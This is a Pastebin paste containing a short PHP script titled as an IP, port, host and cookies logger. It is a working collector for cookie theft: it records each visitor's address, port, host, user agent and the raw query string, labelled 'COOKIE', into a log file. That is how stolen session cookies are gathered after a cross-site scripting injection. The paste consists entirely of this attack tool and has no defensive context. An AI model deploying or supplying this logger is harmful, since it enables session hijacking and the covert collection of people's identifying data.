Advertisement
flazer

[PHP] IP, Port, Host and Cookies Logger

May 26th, 2012
278
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.43 KB | None | 0 0
  1. <?
  2. $log="log.txt";
  3. $ip = $_SERVER['REMOTE_ADDR'];
  4. $cookie = $_SERVER['QUERY_STRING'];
  5. $rem_host = $_SERVER['REMOTE_HOST'];
  6. $rem_port = $_SERVER['REMOTE_PORT'];
  7. $user_agent = $_SERVER['HTTP_USER_AGENT'];
  8. $rqst_method = $_SERVER['METHOD'];
  9. $file = fopen($log,'a+' ) ;
  10.  
  11. echo fwrite($file, "IP: $ip \nPORT: $rem_port \nHOST: $rem_host \nAgent: $user_agent \nMETHOD: $rqst_method \nCOOKIE: $cookie \n\n" ) ;
  12. fclose($file);
  13.  
  14. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement